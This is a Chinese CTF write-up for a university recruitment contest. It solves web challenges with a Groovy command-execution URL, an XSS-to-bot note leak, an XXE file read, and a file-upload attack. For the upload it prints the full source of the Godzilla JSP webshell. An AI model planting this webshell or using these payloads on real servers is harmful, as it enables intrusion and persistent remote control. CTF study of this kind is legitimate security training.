CB(2025) CTF
杭州电子科技大学招新赛 - Web方向,除了一道0day其它AK,当时在复现Spring Cloud Gateway环境属性那个洞,没来得及去管这个题。
ez_groovy
签到题,未做任何过滤的groovy命令执行
1 | /groovy/exec?content="env".execute().text |
ezxss
题目存在xss但是不出网,可以让bot把flag结果通过submitNote提交到前台
1 | <script> |
然后访问http://<ip>/bot?noteName=evil (evil是你自己取的名字)
最后访问http://<ip>/notes/leak读flag

ez_php
简单的XXE代码审计,username是回显点,直接利用file://协议读即可
1 | POST /register.php |
然后调用login.php触发XXE

Kill-tomcat-memshell
文件上传 + 内存马查杀
先看web.xml /UploadLogo路由,存在文件上传漏洞
1 | <servlet> |
1 |
|
直接上传哥斯拉马 -> https://github.com/BeichenDream/Godzilla
test.jsp
1 | <%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%> |

上传成功,哥斯拉连接:

内存马查杀
已知flag在/check.log文件中,需要清除内存马后才能回显flag
因为项目是用Tomcat启动的,所以先看看Tomcat日志文件是怎么检测内存马是否被查杀的 -> /usr/local/tomcat/logs/localhost_access_log.2025-09-27.txt

杀内存马最简单的方式就是重启Web服务器,关机和启动脚本位于/usr/local/tomcat/bin/shutdown.sh和/usr/local/tomcat/bin/startup.sh
不能逐个执行,若先关机我们的马就掉了,重新写一个restart.sh,先执行shutdown.sh再执行startup.sh
1 | #!/bin/bash |
给权限 -> chmod +x /usr/local/tomcat/bin/restart.sh

执行restart.sh,重启后再读/check.log,拿到flag
